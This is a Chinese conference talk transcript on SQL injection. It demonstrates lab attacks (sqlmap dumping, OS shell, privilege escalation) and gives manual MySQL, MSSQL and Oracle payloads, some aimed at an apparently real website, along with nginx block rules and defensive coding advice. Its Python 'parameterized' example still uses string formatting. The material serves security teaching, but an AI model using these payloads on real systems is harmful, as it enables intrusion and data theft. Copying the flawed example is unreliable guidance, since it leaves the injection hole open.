《網(wǎng)易游戲運(yùn)維林偉壕:永不落幕的數(shù)據(jù)庫(kù)SQL注入攻防戰(zhàn)》要點(diǎn):
本文介紹了網(wǎng)易游戲運(yùn)維林偉壕:永不落幕的數(shù)據(jù)庫(kù)SQL注入攻防戰(zhàn),希望對(duì)您有用。如果有疑問(wèn),可以聯(lián)系我們。
講師介紹
主題簡(jiǎn)介:
1、數(shù)據(jù)庫(kù)有什么安全問(wèn)題
2、何為數(shù)據(jù)庫(kù)注入
3、數(shù)據(jù)庫(kù)注入攻擊實(shí)戰(zhàn)
4、為什么會(huì)發(fā)生數(shù)據(jù)庫(kù)注入
5、數(shù)據(jù)庫(kù)注入攻擊防御
記得以前有人說(shuō)過(guò),對(duì)于一家軟件公司來(lái)說(shuō),最重要的不是它的辦公樓,也不是它的股票,而是代碼.代碼這東西,說(shuō)到底就是一堆數(shù)據(jù).這話不假,但是不僅僅這樣,對(duì)于一家企業(yè)來(lái)說(shuō),它的用戶數(shù)據(jù)也是最重要的幾個(gè)之一.在座各位想必多為DBA或者數(shù)據(jù)分析相關(guān)崗位的同學(xué),關(guān)于數(shù)據(jù)對(duì)企業(yè)的重要性,應(yīng)該理解很深刻了.
那么,換一個(gè)角度,如果站在用戶角度,數(shù)據(jù)對(duì)他們而言,更是要害.從以前的“艷照門”、“電信詐騙”,到現(xiàn)在的“50億條公民信息泄露”,數(shù)據(jù)泄漏每天都在發(fā)生著.所以,不管是誰(shuí),不管站在企業(yè)還是用戶角度,保護(hù)數(shù)據(jù)安全是重中之重.今天的主題——數(shù)據(jù)庫(kù)注入攻防,就屬于數(shù)據(jù)安全這個(gè)領(lǐng)域的問(wèn)題.
1、那些年泄漏的數(shù)據(jù)
說(shuō)起數(shù)據(jù)庫(kù)存在的安全問(wèn)題,大家必定會(huì)想到很多答案,可能因暴露外網(wǎng)被攻擊,可能因架構(gòu)或網(wǎng)絡(luò)原因破壞數(shù)據(jù)一致性,可能因備份還原機(jī)制不可用丟數(shù)據(jù).
但對(duì)于企業(yè)、用戶來(lái)說(shuō),數(shù)據(jù)泄漏卻是一個(gè)特別突出的問(wèn)題.這里貼一張圖.如圖1,過(guò)去10年,中國(guó)互聯(lián)網(wǎng)泄漏了10億多條用戶信息,不過(guò)跟最新泄漏的“50億條公民信息”相比,簡(jiǎn)直小巫見(jiàn)大巫.現(xiàn)在這些數(shù)據(jù)庫(kù)在互聯(lián)網(wǎng)上早就傳了一遍,網(wǎng)上很多“社工庫(kù)”的數(shù)據(jù),如圖2,就是從這里來(lái)的.但還有很多是不公開(kāi)的,還在地下買賣,恐怕我們現(xiàn)在知道的數(shù)據(jù)泄漏只是冰山一角.
圖1
圖2
2、泄漏的數(shù)據(jù)哪來(lái)的?
那么,這些數(shù)據(jù)是怎么泄漏的?根據(jù)搜狐網(wǎng)上的一些報(bào)道,我按類型整理了大概有6種途徑,分成用戶提供和不法分子利用2個(gè)大類,占比大概如圖3所示.
圖3
(1)用戶提供
首先,用戶隨意連接免費(fèi)WIFI或者掃描二維碼會(huì)被盜取個(gè)人信息;此外,手機(jī)、電腦等終端感染病毒等惡意軟件,也會(huì)造成個(gè)人信息被竊取.但這些都是因?yàn)橛脩糇约旱闹鲃?dòng)行為引起的.
(2)不法分子利用
今天,我們將從原理、攻防等方面去剖析數(shù)據(jù)庫(kù)注入.
1、原理
通過(guò)把惡意 SQL命令插入到Web表單提交或輸入域名或頁(yè)面請(qǐng)求的查詢字符串,從而欺騙服務(wù)器執(zhí)行惡意的SQL命令,而不是按照設(shè)計(jì)者意圖去執(zhí)行SQL語(yǔ)句.從圖4可以看到,正常用戶輸入的是自己的賬號(hào)密碼,但攻擊者不會(huì)按開(kāi)發(fā)者想法來(lái),他會(huì)用各種畸形輸入來(lái)測(cè)試.比如圖4就是傳說(shuō)中的“萬(wàn)能密碼”,10年前,很多網(wǎng)站倒在它面前,就是因?yàn)橥耆湃斡脩糨斎?
圖4
2、有什么危害
看起來(lái)數(shù)據(jù)庫(kù)注入的危害可不止信息泄漏,破壞數(shù)據(jù)庫(kù)數(shù)據(jù)和進(jìn)一步入侵也是入侵題中的應(yīng)有之義.
跟其他的Web攻擊如XSS/CSRF/SSRF之類比有什么不同?
危害最大.根據(jù)OWASP(Open Web Application Security Project)2013年安全報(bào)告,如圖5,數(shù)據(jù)庫(kù)注入是最嚴(yán)重的Web安全問(wèn)題.
圖5
直接攻擊數(shù)據(jù)庫(kù),而數(shù)據(jù)是最敏感的.容易被深度利用,造成威脅擴(kuò)散.剛才上面也提到,數(shù)據(jù)庫(kù)注入可以用來(lái)傳播木馬,甚至控制服務(wù)器,想象空間很大.
在網(wǎng)絡(luò)安全行業(yè)有一句話,“未知攻,焉知防”.所以我們要理解數(shù)據(jù)庫(kù)注入,想做好防御措施,必須先看看它是怎么攻擊數(shù)據(jù)庫(kù)的.
1、利用思路
攻擊一般可以采用手工和自動(dòng)化工具兩種方式,各有千秋.
手工:
繁瑣、效率低;靈活、能夠根據(jù)站點(diǎn)防護(hù)措施隨時(shí)調(diào)整攻擊思路.
工具:
效率高、批量自動(dòng)挖掘;但是容易被WAF(Web防火墻)識(shí)別、模式相對(duì)單一,不夠靈活.但還是事在人為,工具可以跟人一樣聰明,下面我們就利用神器讓注入“飛起來(lái)”吧.
主要會(huì)用到下面幾款工具.
2、滲透測(cè)試環(huán)境
要知道,在歐美,掃描別人網(wǎng)站可能違法,更別說(shuō)入侵網(wǎng)站了.同理,我們的測(cè)試,也僅使用模擬環(huán)境.下面有很多Web滲透的模擬環(huán)境,部署起來(lái)非常簡(jiǎn)單.
https://github.com/ethicalhack3r/DVWA
https://github.com/WebGoat/WebGoat
https://github.com/Audi-1/sqli-labs
https://hack.me/t/SQLi
https://github.com/davevs/dvxte
https://github.com/rapid7/metasploitable3
3、全景圖
在開(kāi)始測(cè)試前,先整理一遍思路.通常滲透測(cè)試會(huì)遵循:信息采集、入口發(fā)現(xiàn)、入口測(cè)試、獲取webshell、提權(quán)等步驟.下面大概介紹下每個(gè)環(huán)節(jié)需要做的事情.
4、發(fā)現(xiàn)漏洞
nmap -p1-65535 192.168.115.131
發(fā)現(xiàn)開(kāi)放tcp/80端口,為Web服務(wù),手工驗(yàn)證注入入口.
發(fā)現(xiàn)http://192.168.115.181/cat.php?id=1存在SQL注入.使用AWVS進(jìn)行進(jìn)一步驗(yàn)證,如圖6.
圖6
5、脫庫(kù)
使用sqlmap全自動(dòng)脫庫(kù),掃出數(shù)據(jù)庫(kù)、表名、列等信息.
圖7
6、Getshell
也是使用sqlmap直接在SQL Shell里寫文件,當(dāng)然也可以切換到–os-shell獲取操作系統(tǒng)shell直接執(zhí)行系統(tǒng)命令,如圖8.
圖8
這里科普一下傳說(shuō)中的“一句話木馬”、“小馬”、“大馬”.“一句話木馬”就是將接收任意字符進(jìn)行執(zhí)行的PHP/ASP/JSP文件,通常只有幾行,甚至只有一行;“小馬”就是“一句話木馬”或者功能比較簡(jiǎn)單的Web木馬,“大馬”就是功能齊全的Web木馬,比如圖8所示,可以管理文件、數(shù)據(jù)庫(kù)、執(zhí)行系統(tǒng)命令、端口掃描甚至端口轉(zhuǎn)發(fā).
7、提權(quán)
從普通用戶變成root用戶.這個(gè)需要利用操作系統(tǒng)內(nèi)核版本漏洞,所幸該內(nèi)核版本(圖9)很低,真找到了內(nèi)核exp(圖10),順利提權(quán).
圖9
圖10
8、進(jìn)階利用
提完權(quán)就算了?沒(méi)這么簡(jiǎn)單,如果處于攻擊目的,實(shí)際上可做的事情太多了.
圖11
圖12
剛才完整介紹了一個(gè)自動(dòng)SQL注入攻擊的過(guò)程,可能大家覺(jué)得還是不夠過(guò)癮,因?yàn)橐宦分豢次以谑褂霉ぞ?連畸形SQL語(yǔ)句都沒(méi)看到,所以下面大概介紹一下針對(duì)MySQL、msSQL、Oracle等主流關(guān)系型數(shù)據(jù)庫(kù)的手工注入.
MySQL
圖13
http://192.168.115.131/cat.php?id=1′
直接在參數(shù)后面跟上’,或者\(yùn),如果沒(méi)有合理過(guò)濾,是會(huì)報(bào)語(yǔ)法錯(cuò)誤的,不信你看看圖13.
http://192.168.115.131/cat.php?id=1%20and%201=2%20union%20select%201,user(),3,4
然后開(kāi)始試探數(shù)據(jù)庫(kù)字段數(shù)、當(dāng)前用戶,如圖14.
圖14
http://192.168.115.131/cat.php?id=1 and (select * from (select(sleep(5)))lsrk)
http://192.168.115.131/cat.php?id=1%20UNION%20
SELECT%201,concat(login,%27:%27,password),3,4%20FROM%20users;’
接下來(lái)是用來(lái)測(cè)試是否存在基于時(shí)間的盲注和查詢數(shù)據(jù)庫(kù)管理員帳號(hào)密碼的,拿到root賬號(hào)后可以去網(wǎng)上破解.
msSQL
這個(gè)思路跟MySQL一樣,只是需要msSQL的注釋符和MySQL有所不同,前者支持–,后者支持#,如圖15.
http://www.aquaservices.co.in/authorprofile.asp?id=13 order by 100–
Here comes the error : The order by position number 100 is out of range of the number of items
圖15
http://www.aquaservices.co.in/authorprofile.asp?id=13 and 0=1 Union All Select 1,@@version,3,4,5,6,db_name(),8–
http://www.aquaservices.co.in/authorprofile.asp?id=13;exec master.dbo.sp_password null,password,username;–
這里還可以執(zhí)行存儲(chǔ)過(guò)程master.dbo.sp_password直接修改數(shù)據(jù)庫(kù)賬號(hào)密碼呢.
Oracle
思路也差不多,不過(guò)語(yǔ)法上稍微復(fù)雜點(diǎn),如果語(yǔ)法不太熟,有個(gè)技巧,可以用sqlmap去跑PoC,如圖16,按照提醒去構(gòu)造畸形輸入.
獲取數(shù)據(jù)庫(kù)版本信息
and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual
開(kāi)始爆庫(kù)
and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual
and 1=2 union select null,null,(select owner from all_table where rownum=1 and owner<>’第
一個(gè)庫(kù)名’) from dual
and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from
Dual
圖16
MongoDB
上面講的都是關(guān)系型數(shù)據(jù)庫(kù),非關(guān)系型數(shù)據(jù)庫(kù)MongoDB這些是不是就安全了?不是的,如圖17,密碼還是明文保存的呢.
圖17
經(jīng)過(guò)上面數(shù)據(jù)庫(kù)注入的攻擊測(cè)試,相信大家再也不會(huì)心懷僥幸了,因?yàn)楣舫杀竞艿?不是嗎?那么,總結(jié)一下我們看到的,數(shù)據(jù)庫(kù)注入發(fā)生的原因是什么?
1、透過(guò)現(xiàn)象看本質(zhì)
SQL注入可以分為平臺(tái)層注入和代碼層注入.
前者由不安全的數(shù)據(jù)庫(kù)配置或數(shù)據(jù)庫(kù)平臺(tái)的漏洞所致;
①不安全的數(shù)據(jù)庫(kù)配置;②數(shù)據(jù)庫(kù)平臺(tái)存在漏洞;
后者由于開(kāi)發(fā)對(duì)輸入未進(jìn)行細(xì)致過(guò)濾,從而執(zhí)行非法數(shù)據(jù)查詢.
①不當(dāng)?shù)念愋吞幚恚?br />
②不合理的查詢集處理;③不當(dāng)?shù)腻e(cuò)誤處理;
④轉(zhuǎn)義字符處理不合適;⑤多個(gè)提交處理不當(dāng).
2、代碼
首先,“信任,過(guò)猶不及”.很多時(shí)候,我們一直強(qiáng)調(diào),站在開(kāi)發(fā)者角度,用戶是不可信任的,未過(guò)濾或驗(yàn)證用戶輸入以及輸出數(shù)據(jù),就是給自己挖坑.比如下面這個(gè):
$username = “aaa”;
$pwd = “fdsafda’ or ‘1’=’1”;
$sql = “SELECT * FROM table WHERE username = ‘{$username}’ AND pwd = ‘{$pwd}'”;
echo $sql; //輸出 SELECT * FROM table WHERE username = ‘aaa’ AND pwd = ‘fdsafda’ or ‘1’=’1′
?>
傳說(shuō)中的“萬(wàn)能密碼”利用的后臺(tái)代碼差不多就是這個(gè)渣樣.當(dāng)然,現(xiàn)在幾乎不可能存在了,因?yàn)槿丝偸菚?huì)吸取教訓(xùn)的,各種安全開(kāi)發(fā)的理念還是逐漸深入人心了.
3、數(shù)據(jù)庫(kù)
站在運(yùn)維角度,數(shù)據(jù)庫(kù)注入中的運(yùn)維“三宗罪”分別是:
(1)空密碼/弱密碼.“空,那么空”,我耳朵里突然想起來(lái)金志文的《空城》.
mysql> select user,host,password from mysql.user;
+——+———–+———-+
| user | host | password |
+——+———–+———-+
| root | localhost | |
| root | 127.0.0.1 | |
| root | ::1 | |
(2)外網(wǎng)開(kāi)放.數(shù)據(jù)庫(kù)開(kāi)放外網(wǎng),還不改端口(改了也沒(méi)用,因?yàn)楝F(xiàn)在都是全端口掃描的),這不是找抽嗎?
iptables-save | grep 3306
-A INPUT -p tcp -m tcp –dport 3306 -j ACCEPT
(3)用戶權(quán)限控制不當(dāng).按照最小權(quán)限原則,只給賬號(hào)需要的最小權(quán)限即可.
mysql> show grants for gs@101.101.101.101;
+———————————————–+
| Grants for gs@101.101.101.101;
+———————————————–+
| GRANT ALL PRIVILEGES ON `gameserver`.* TO ‘wscs_gs’@’101.101.101.101’
上文已介紹了數(shù)據(jù)庫(kù)注入的原因和形式,下文將從代碼、數(shù)據(jù)庫(kù)、Web Server和數(shù)據(jù)分析四個(gè)層面介紹如何防御數(shù)據(jù)庫(kù)注入攻擊.
1、代碼
SDL(Security Develop Lifecircle):軟件開(kāi)發(fā)應(yīng)當(dāng)遵循“安全開(kāi)發(fā)生命周期”,軟件測(cè)試需要增加安全測(cè)試的白盒與黑盒測(cè)試.
用戶是不可信的:輸入輸出都應(yīng)當(dāng)被過(guò)濾,至少應(yīng)滿足以下4個(gè)編碼規(guī)則.
對(duì)用戶的輸入進(jìn)行校驗(yàn),可以通過(guò)正則表達(dá)式,或限制長(zhǎng)度;對(duì)單引號(hào)和 雙”-“進(jìn)行轉(zhuǎn)換等.
不要使用動(dòng)態(tài)拼裝SQL,可以使用參數(shù)化的sql或者直接使用存儲(chǔ)過(guò)程進(jìn)行數(shù)據(jù)查詢存取.
不要把機(jī)密信息明文存放,加密或者h(yuǎn)ash掉密碼和敏感的信息.
應(yīng)用的異常信息應(yīng)該給出盡可能少的提示,最好使用自定義的錯(cuò)誤信息對(duì)原始錯(cuò)誤信息進(jìn)行封裝.
下面我針對(duì)PHP和Pyth的反SQL注入講2個(gè)例子,因?yàn)槠綍r(shí)用的比較多的是ThinkPHP和Flask這2個(gè)Web框架.
PHP
where方法使用字符串條件的時(shí)候,支持預(yù)處理(安全過(guò)濾).
$Model->where(“id=%d and username=’%s’ and xx=’%f'”,array($id,$username,$xx))->select();
模型的Query和execute方法 同樣支持預(yù)處理機(jī)制,例如:
$model->query(‘select * from user where id=%d and status=%d’,$id,$status);
Python
cur=db.cursor()
sql = “INSERT INTO test2(cid, author, content) VALUES (%s, %s, %s)” #使用%s而不是’%s’
sql=sql%(‘2′,’2′,’bb’)
cur.execute(sql,())
2、數(shù)據(jù)庫(kù)
從架構(gòu)和運(yùn)維兩方面談?wù)勅绾卧跀?shù)據(jù)庫(kù)層面進(jìn)行防御.
(1)架構(gòu)
首先是架構(gòu)層面,處于性能和安全考慮,可以在數(shù)據(jù)庫(kù)集群與Web Server等前端中間增加DBProxy的中間件,比如Batis或者M(jìn)yCat.
DB-Proxy Batis MyCat
如圖18所示,MyCat中實(shí)現(xiàn)了MySQL的預(yù)處理協(xié)議,可以接收預(yù)處理命令的處理.當(dāng)使用預(yù)處理查詢,也可以返回正確的二進(jìn)制結(jié)果集包,通過(guò)這個(gè)預(yù)處理,可以實(shí)現(xiàn)對(duì)SQL注入的過(guò)濾和攔截.
圖18
開(kāi)源SQL檢測(cè)、阻斷系統(tǒng) Druid-SQL-Wall
Druid提供了WallFilter,基于SQL語(yǔ)義分析來(lái)實(shí)現(xiàn)防御SQL注入攻擊.
(2)運(yùn)維
然后是運(yùn)維層面,可以在進(jìn)程管理、用戶授權(quán)、端口開(kāi)放等方面進(jìn)行攻擊緩解甚至遏制.
進(jìn)程啟動(dòng)用戶
mysql 23400 22671 0 Mar19 ? 00:13:25 /usr/sbin/mysqld –basedir=/home/mysql –datadir=/home/mysql –plugin-dir=/usr/lib/mysql/plugin –user=mysql –open-files-limit=8192 –pid-file=/var/run/mysqld/mysqld.pid –socket=/var/run/mysqld/mysqld.sock –port=3306
數(shù)據(jù)庫(kù)用戶授權(quán)
mysql> show grants for gs@101.101.101.101;
| GRANT SELECT,INSERT,DELETE,UPDATE,USAGE PRIVILEGES ON `gameserver`.* TO ‘gs’@’10.10.10.10’ BY PASSWORD ‘*89DCA7B59FD064E3A478xxxxxxxxxF272E7E’
iptables
-A INPUT -p tcp -m tcp –dport 3306 -j MYSQL
-A MYSQL -p tcp -m tcp –dport 3306 -j REJECT –reject-with icmp-port-unreachable
3、Web Server
接下來(lái),除了前面講的代碼、數(shù)據(jù)庫(kù)層面進(jìn)行數(shù)據(jù)庫(kù)注入的防御,其實(shí)如果有Web前端,一般還是可以在Web Server層面進(jìn)行攔截,實(shí)現(xiàn)一個(gè)多層次的、立體的防護(hù)體系.
下面將介紹Web Server配置、Web防火墻兩方面的防御思路.
配置,配置,還是配置
在Web Server的vhost設(shè)置查詢字符串過(guò)濾,一旦用戶提交的字符串存在安全隱患,就會(huì)直接進(jìn)行攔截.由于這個(gè)匹配度很高,誤殺可能性很低,不過(guò)在業(yè)務(wù)量比較大的情況下,會(huì)損耗Web Server一定性能.
server {
set $block_sql_injections 0;
if ($query_string ~ “union.*select.*(“) {
set $block_sql_injections 1;
}
if ($query_string ~ “union.*all.*select.*”) {
set $block_sql_injections 1;
}
if ($query_string ~ “concat.*(“) {
set $block_sql_injections 1;
}
if ($block_sql_injections = 1) {
return 444;
}
WAF
全稱是Web Application Firewall,跟Web Server耦合度很高,一般是作為Web Server的插件編譯安裝進(jìn)去,常見(jiàn)的方案有下面幾種:
一般WAF支持的功能是在以下層面進(jìn)行匹配、過(guò)濾.
4、日志分析
在海量的Web Server access.log中分析匹配攻擊模型,從中發(fā)現(xiàn)SQL注入或者GetShell的敏感語(yǔ)句.
比如下面這個(gè)wordpress的攻擊日志,通過(guò)報(bào)錯(cuò)或者’\’敏感字符發(fā)現(xiàn)報(bào)警:
[07-Dec-2016 02:40:49] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘WHERE id = -1\” at line 1 for query SELECT text, author_id, date FROM WHERE id = -1\’
現(xiàn)在通過(guò)日志大數(shù)據(jù)做安全防御的方案有這么幾種:
圖19
數(shù)據(jù)庫(kù)注入其實(shí)只是安全攻防的一個(gè)小小的領(lǐng)域,但因?yàn)樯婕暗狡髽I(yè)、用戶數(shù)據(jù),所以需要列入重點(diǎn)關(guān)注.但我們知道,道高一尺魔高一丈,在利益的驅(qū)使下攻擊不會(huì)停止,我們的防護(hù)也不會(huì)停止,這場(chǎng)攻防之戰(zhàn)永不落幕.
社工庫(kù)問(wèn)答
https://www.zhihu.com/question/22827473
個(gè)人信息泄漏源
http://business.sohu.com/20160917/n468557286.shtml
SQL注入基礎(chǔ)
http://blog.csdn.net/pan_cras/article/details/52168448
SQL注入原理
http://blog.csdn.net/stilling2006/article/details/8526458/
Q1:開(kāi)發(fā)學(xué)這個(gè)sqlmap,使用上有哪些難點(diǎn)?手冊(cè)中文版的么?
A1:如果不是基于sqlmap做二次開(kāi)發(fā),sqlmap學(xué)習(xí)門檻很低,只需要對(duì)照官方手冊(cè)(有中文版,安裝包的doc/translations/README-zh-CN.md)操作即可,就跟學(xué)習(xí)普通的Linux系統(tǒng)命令一樣簡(jiǎn)單.如果開(kāi)發(fā)同學(xué)想基于sqlmap做二次開(kāi)發(fā),難點(diǎn)主要在理解Sqlmap的整體框架,它在軟件工程上被推崇備至,就是因?yàn)樵谠O(shè)計(jì)思想、性能處理上非常值得學(xué)習(xí).此外,還可以自定義一些Tamper文件用于繞過(guò)服務(wù)端過(guò)濾,這個(gè)比較簡(jiǎn)單,主要是字符轉(zhuǎn)換.sqlmap的學(xué)習(xí)手冊(cè)可以參考:http://www.secbox.cn/hacker/6311.html.
Q2:攻擊工具常用的有哪些?
A2:不同類型的攻擊常用工具都不同,這個(gè)回答起來(lái)太泛了.這里我們單純講數(shù)據(jù)庫(kù)注入需要用到的,信息收集通常使用nmap掃描開(kāi)放端口、御劍掃描網(wǎng)站目錄,漏洞發(fā)現(xiàn)通常基于信息收集使用AWVS或者OpenVas進(jìn)行Web或系統(tǒng)漏洞掃描,如果發(fā)現(xiàn)SQL注入,則分別使用sqlmap、Pangolin(穿山甲)等工具進(jìn)行自動(dòng)滲透,然后再基于漏洞點(diǎn)的權(quán)限決定是通過(guò)后臺(tái)上傳還是直接寫一句話使木馬到站點(diǎn),之后,使用中國(guó)菜刀(一句話木馬連接工具)連接,再往后的攻擊主要靠思路,沒(méi)什么現(xiàn)成工具.
Q3:WAF可以檢測(cè)到SQL注入的行為嗎?
A3:可以.像HTTPGuard或者tengine_waf都支持SQL注入行為發(fā)現(xiàn),主要原理也是依據(jù)正則表達(dá)式匹配,然后通過(guò)輸出的log來(lái)報(bào)警.
Q4:請(qǐng)問(wèn)有什么好的相關(guān)書籍或者資料推薦,系統(tǒng)學(xué)習(xí)安全方面的知識(shí)
A4:1.建議先從Web安全入門,推薦《白帽子講Web安全》,同時(shí)學(xué)習(xí)Linux系統(tǒng)基礎(chǔ)知識(shí),推薦《跟阿銘學(xué)linux》.2.學(xué)習(xí)系統(tǒng)安全相關(guān)知識(shí).資料可以參考別人整理的Github上安全知識(shí)倉(cāng)庫(kù):http://www.uedbox.com/github-security-repo-collection/;以及知乎上面的專欄文章:https://zhuanlan.zhihu.com/p/25661457.
Q5:市場(chǎng)上有什么防數(shù)據(jù)庫(kù)注入的解決方案嗎?
A5:沒(méi)有單獨(dú)的防數(shù)據(jù)庫(kù)注入的產(chǎn)品或者商業(yè)方案,一般作為入侵檢測(cè)系統(tǒng)的子功能,或者Web站點(diǎn)安全防護(hù)解決方案的一部分.傳統(tǒng)安全廠商啟明星辰、綠盟都有入侵檢測(cè)產(chǎn)品,Web方面的360和安全狗用的比較多.如果是自己實(shí)現(xiàn),就是本次分享提到的代碼、數(shù)據(jù)庫(kù)、Web Server、日志分析等幾個(gè)層面的方案.
Q6:科普下肉雞是什么?
A6:肉雞也稱傀儡機(jī),是指可以被黑客遠(yuǎn)程控制的機(jī)器.受害者被誘導(dǎo)點(diǎn)擊或者機(jī)器被黑客攻破或機(jī)器有漏洞被種植了木馬,黑客借此隨意操縱服機(jī)器并利用它做任何事情,比如DDoS.
Q7:可以用admin權(quán)限,上傳一個(gè)1像素的木馬到主頁(yè)上抓肉雞,不是更好嗎?
A7:你這里說(shuō)的應(yīng)該是網(wǎng)頁(yè)掛馬,也是抓肉雞的一種方式.但是要獲取admin權(quán)限,作為非法用戶,本身就要通過(guò)入侵去實(shí)現(xiàn)的.
Q8:那些搞破解的是不是專做這些事?
A8:數(shù)據(jù)庫(kù)注入跟破解其實(shí)不是一個(gè)領(lǐng)域的問(wèn)題,破解更多的是應(yīng)用程序的逆向,比如破解商業(yè)軟件的License之類的.
原文來(lái)自微信公眾號(hào):DBAPlus社群
轉(zhuǎn)載請(qǐng)注明本頁(yè)網(wǎng)址:
http://www.snjht.com/jiaocheng/4282.html